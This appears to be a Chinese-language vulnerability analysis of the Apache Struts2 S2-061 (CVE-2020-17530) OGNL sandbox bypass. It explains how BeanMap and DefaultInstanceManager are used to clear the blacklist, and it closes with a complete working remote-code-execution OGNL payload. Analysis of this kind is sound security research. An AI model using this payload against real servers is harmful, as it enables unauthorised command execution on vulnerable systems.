前言
针对 S2-061
的修复,在黑名单上做了文章,S2-061
是针对 S2-059
的沙盒绕过做了修复,漏洞利用点还是和 S2-059
一样,不知道 S2-059
是怎么触发的移步:CVE-2019-0230: S2-059 远程代码执行漏洞分析, Struts-2.5.26
的几次黑名单的更新如下:
在分析本次沙箱绕过之前,先了解一下目前为止沙箱里的一些机制,针对于OGNL
表达式来说,存在一些限制:
- 不能在OGNL表达式里直接对静态方法进行调用
- 不能在OGNL表达式里调用
public
方法以外的方法 - 不能在OGNL表达式使用
#_memberAccess
/#context
获取相关对象的实例 - 不能在OGNL表达式里直接调用黑名单里的类、方法
- 有些即使是清空黑名单也无法执行的方法,比如
Runtime.class
,这个体现在OgnlRuntime#invokeMethod
但是在S2-057
里,可以通过attr
来间接获取context
实例,但是之后将com.opensymphony.xwork2.ognl.
加入了黑名单,也不能通过attr
来获取context
的实例了。
context
结构如下:
漏洞详情
没办法通过#context
获取到OgnlContext
,但我们可以考虑使用其他方法,比如在#appliaction
目前是能够获取的,在他里面存在一个值org.apache.tomcat.InstanceManager
。
对应的value
是DefaultInstanceManager
的实例。而在DefaultInstanceManager
下存在public
方法newInstance
,可以用来实例化类,但是只能实例化无参构造方法。
同时,在commons-collections3.2.2
包下有一个类叫做BeanMap
,在BeanMap
的setBean
方法中会调用reinitialise
方法,这里的setBean
方法里我们可以设置当前bean
为某个类。
reinitialise
方法又会调用initialise
方法,
获取OgnlContext
在initialise
我们可以调用当前bean
的get/set
方法(具体体现在beanInfo.getPropertyDescriptors
)
在BeanMap
中,readMethod
对应着当前bean
的getter
,而writeMethod
对应setter
。
接着会调用put
方法,将getter
返回的结果保存在BeanMap
里,BeanMap
本质上还是一个Map
,我们可以通过OGNL
表达式来获取BeanMap
里的值。
所以,利用DefaultInstanceManager
实例化BeanMap
之后,就能利用BeanMap
调用任意类的get/put
方法了。
那么也就意味着我们能将bean设置为OgnlValueStack
,从而就能调用OgnlValueStack
的getContext
方法,这样就能获取到OgnlContext
的实例。
而OgnlValueStack
的实例可以通过#attr['struts.valueStack']
进行获取。
所以,获取OgnlContext
的OGNL
表达式为:
1 | (#a=#application['org.apache.tomcat.InstanceManager']).(#beanMap=#a.newInstance('org.apache.commons.collections.BeanMap')).(#beanMap.setBean(#attr['struts.valueStack'])).(#ognlContext=#beanMap['context']) |
获取MemberAccess
现在我们能够获取到OgnlContext
了,同理我们再次通过BeanMap
将当前bean
设置为我们已经获取到的OgnlContext
实例,利用BeanMap
调用bean
的getter
的特性,来调用OgnlContext
的getMemberAccess
方法获取到SecurityMemberAccess
的实例。
获取MemberAccess
的OGNL
表达式为
1 | (#beanMap.setBean(#ognlContext)).(#memberAccess=#beanMap['memberAccess']) |
清空黑名单
虽然我们可以拿到SecurityMemberAccess
的实例,但是不能直接使用ognl
表达式#memberAccess.setExcludedClasses(#hashSet)
来清空黑名单,因为通过ognl
表达式这样直接调用方法是会经过OGNL
黑名单的,com.opensymphony.xwork2.ognl.
是在黑名单里的,而SecurityMemberAccess
是在这个package
下的,所以,需要换一种思路。
方法就是利用之前的BeanMap
,BeanMap
的put
方法会调用当前bean
的setter
,而不会通过ognl
的方法执行机制,直接使用inovke
执行方法,所以这里我们就能再次将当前bean设置为SecurityMemberAccess
,再去通过BeanMap
的put
方法触发setExcludedClasses
方法。(既然能调用Set
,那么Fastjson
里JNDI
注入的利用在这里也是可行的。)
清空了黑名单之后我们依然不能使用Runtime
来直接执行命令,因为OgnlRuntime#invokeMethod
限制了方法的执行。
1 | public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException { |
所以利用的是之前黑名单里的一个类:freemarker.template.utility.Execute
,该类的exec
方法能够执行命令
POC
1 | %{(#a=#application['org.apache.tomcat.InstanceManager']).(#beanMap=#a.newInstance('org.apache.commons.collections.BeanMap')).(#beanMap.setBean(#attr['struts.valueStack'])).(#ognlContext=#beanMap['context']).(#beanMap.setBean(#ognlContext)).(#memberAccess=#beanMap['memberAccess']).(#hashSet=#a.newInstance('java.util.HashSet')).(#arrayList=#a.newInstance('java.util.ArrayList')).(#arrayList.add('ifconfig')).(#beanMap.setBean(#memberAccess)).(#beanMap.put("excludedPackageNames",#hashSet)).(#execute=#a.newInstance('freemarker.template.utility.Execute')).(#execute.exec(#arrayList))} |
利用情况
参考
Struts2 S2-061漏洞分析(CVE-2020-17530)
CVE-2019-0230: S2-059 远程代码执行漏洞分析
浅析 OGNL 的攻防史